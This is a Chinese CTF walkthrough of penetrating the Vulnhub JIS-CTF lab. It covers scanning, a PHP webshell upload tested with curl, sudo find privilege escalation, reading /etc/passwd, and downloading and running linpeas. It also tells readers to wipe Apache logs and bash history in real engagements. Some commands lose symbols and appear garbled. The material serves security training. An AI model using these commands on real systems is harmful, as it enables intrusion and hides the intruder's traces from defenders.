Vulnhub靶机实战:JIS-CTF靶场渗透全流程解析
1. 环境准备与靶机部署在开始JIS-CTF靶场渗透之前我们需要准备好基础环境。我推荐使用VirtualBox作为虚拟机平台它免费且兼容性良好。下载好Kali Linux镜像和JIS-CTF靶机镜像后建议给Kali分配至少2GB内存靶机1GB内存即可。这里有个小技巧把两台虚拟机的网络模式都设置为桥接模式这样它们会自动处于同一局域网段。记得在启动靶机前先做个快照这个习惯帮我省去了很多重复配置的时间。有次我在渗透测试时不小心把靶机搞崩溃了还好有快照可以快速恢复。Kali Linux建议使用2023年之后的版本因为内置的工具比较新比如默认就包含了gobuster这类现代扫描工具。2. 信息收集与目标定位2.1 网络扫描实战启动两台虚拟机后在Kali终端输入ifconfig查看本机IP。假设显示的是192.168.1.105那么目标很可能在192.168.1.0/24网段。我习惯先用netdiscover -i eth0快速扫描活跃主机这个工具比ping扫描更隐蔽。最近发现一个更好的组合先用arp-scan -l快速定位再用nmap -sn 192.168.1.0/24确认。当发现可疑IP比如192.168.1.120时我会立即进行深度扫描nmap -sV -A -T4 192.168.1.120 -oN scan_result.txt参数说明-sV探测服务版本-A全面扫描-T4加快扫描速度-oN保存结果到文件2.2 Web应用侦察发现开放80端口后我会先用浏览器直接访问同时启动三个终端分别运行gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt nikto -h http://192.168.1.120 whatweb http://192.168.1.120这种多工具并行的方式效率很高。有次我在一个靶机中发现gobuster没扫出来的目录却被nikto检测到了所以现在养成了组合使用的习惯。3. 漏洞挖掘与利用3.1 敏感信息泄露在JIS-CTF靶场中robots.txt文件泄露了关键路径。但实际渗透时我还会重点检查/.git/目录/backup/目录网页源代码中的注释浏览器开发者工具中的网络请求有个实用技巧使用Burp Suite抓包时开启被动扫描模式它会自动记录所有请求并标记可疑点。我在一次测试中就通过这个方法发现了隐藏的API接口。3.2 文件上传漏洞利用上传PHP木马时遇到过几种防御措施前端验证直接修改HTML或使用Burp拦截修改后缀黑名单尝试.phtml、.php5等变种内容检测在合法图片中插入PHP代码对于JIS-CTF这类基础靶场最简单的?php system($_GET[cmd]);?就能奏效。保存为shell.php后使用curl测试curl http://192.168.1.120/uploads/shell.php?cmdid如果返回了用户信息说明webshell生效。4. 权限提升与后渗透4.1 SSH登录突破找到technawi用户的凭据后不要急着登录。先检查SSH是否允许密码登录nmap -p 22 --script ssh-auth-methods 192.168.1.120登录后立即执行sudo -l查看可用特权命令。在最近一次测试中我发现用户可以无密码执行/usr/bin/find于是用以下命令提权sudo find / -exec /bin/sh \; -quit4.2 系统内部信息收集进入系统后我会运行一系列信息收集命令uname -a # 内核版本 cat /etc/passwd # 用户列表 find / -perm -4000 2/dev/null # SUID文件 crontab -l # 计划任务把这些信息保存到本地方便后续分析。记得使用python3 -m http.server 8000在靶机启动临时web服务用wget下载文件到Kali。5. 靶场渗透实战技巧5.1 多维度flag寻找JIS-CTF有5个flag分布在网页根目录/flag/网页源代码注释上传目录中的hint.txt/etc/passwd相邻文件/var/www/html/flag.txt这种设计很考验全面性。我建议建立检查清单确保每个可能的位置都被检查过。5.2 日志清理与痕迹管理虽然靶机练习不需要清除痕迹但真实环境中这是个好习惯。使用webshell后记得清理Apache日志echo /var/log/apache2/access.log如果是SSH登录还要处理~/.bash_history和auth.log。6. 常见问题解决遇到过几个典型问题及解决方案靶机IP不显示检查虚拟机网络设置尝试dhclient eth0上传的木马无法执行检查目录权限chmod x shell.phpSSH连接被拒绝确认ssh服务运行service ssh status扫描结果不准确换用其他工具如rustscan有次我花了两个小时才发现是防火墙规则阻止了扫描现在会先用iptables -L检查规则。7. 工具链优化建议经过多次实战我优化了自己的工具组合扫描器gobuster nikto漏洞利用searchsploit本地库后渗透linpeas自动化脚本隧道工具chisel内网穿透特别是linpeas它能自动检测系统中的各种配置错误和漏洞大大提高了效率。建议下载最新版wget https://github.com/carlospolop/PEASS-ng/releases/download/20230730/linpeas.sh chmod x linpeas.sh ./linpeas.sh | tee linpeas_report.txt8. 学习路径建议完成JIS-CTF后可以尝试这些进阶靶机Vulnhub上的Kioptrix系列Hack The Box的Starting Point机器TryHackMe的入门路径我个人的学习方法是每完成一个靶机就写详细报告记录所有步骤和遇到的问题。三个月后回头看这些笔记会发现进步非常明显。